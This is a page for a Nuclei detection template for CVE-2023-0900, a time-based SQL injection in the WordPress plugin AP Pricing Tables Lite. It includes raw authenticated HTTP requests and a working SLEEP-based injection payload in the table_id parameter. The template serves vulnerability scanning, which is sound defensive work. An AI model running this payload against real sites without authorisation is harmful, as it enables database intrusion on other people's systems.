AP Pricing Tables Lite <= 1.1.6 - SQL Injection

ID: CVE-2023-0900

Severity: high

Author: r3Y3r53

Tags: time-based-sqli,cve2023,cve,sqli,wordpress,wp-plugin,wp,authenticated,wpscan,ap-pricing-tables-lite,wpdevart

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high-privilege users such as admins.

YAML Source

id: CVE-2023-0900

info:
  name: AP Pricing Tables Lite <= 1.1.6 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high-privilege users such as admins.
  reference:
    - https://wpscan.com/vulnerability/f601e637-a486-4f3a-9077-4f294ace7ea1
    - https://github.com/WPPlugins/ap-pricing-tables-lite
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-0900
    cwe-id: CWE-89
    epss-score: 0.01291
    epss-percentile: 0.85797
    cpe: cpe:2.3:a:wpdevart:pricing_table_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wpdevart
    product: pricing_table_builder
    framework: wordpress
    shodan-query: http.html:wp-content/plugins/ap-pricing-tables-lite
    fofa-query: body=wp-content/plugins/ap-pricing-tables-lite
    publicwww-query: "wp-content/plugins/ap-pricing-tables-lite"
  tags: time-based-sqli,cve2023,cve,sqli,wordpress,wp-plugin,wp,authenticated,wpscan,ap-pricing-tables-lite,wpdevart

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=ap-pricing-tables-lite&message=1 HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded

        action=backend_ajax&_action=copy_table&table_id=1+AND+(SELECT+2035+FROM+(SELECT(SLEEP(10)))A)&_wpnonce={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_3>=5'
          - 'status_code_3 == 200'
          - 'contains(body_3, "Security check")'
          - 'contains(body_2, "ap-pricing-tables-lite")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '_wpnonce=([0-9a-z]+)">Log Out'
        internal: true
# digest: 4a0a00473045022070aa822abc2cdfc57032487a11dd6ab716b9ce782711a63b5304defae2484cdf022100be70f0fc0ff8490a6784a8a96a1dfcfc3811f67feabe2370809dc334423af662:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0900.yaml"

View on Github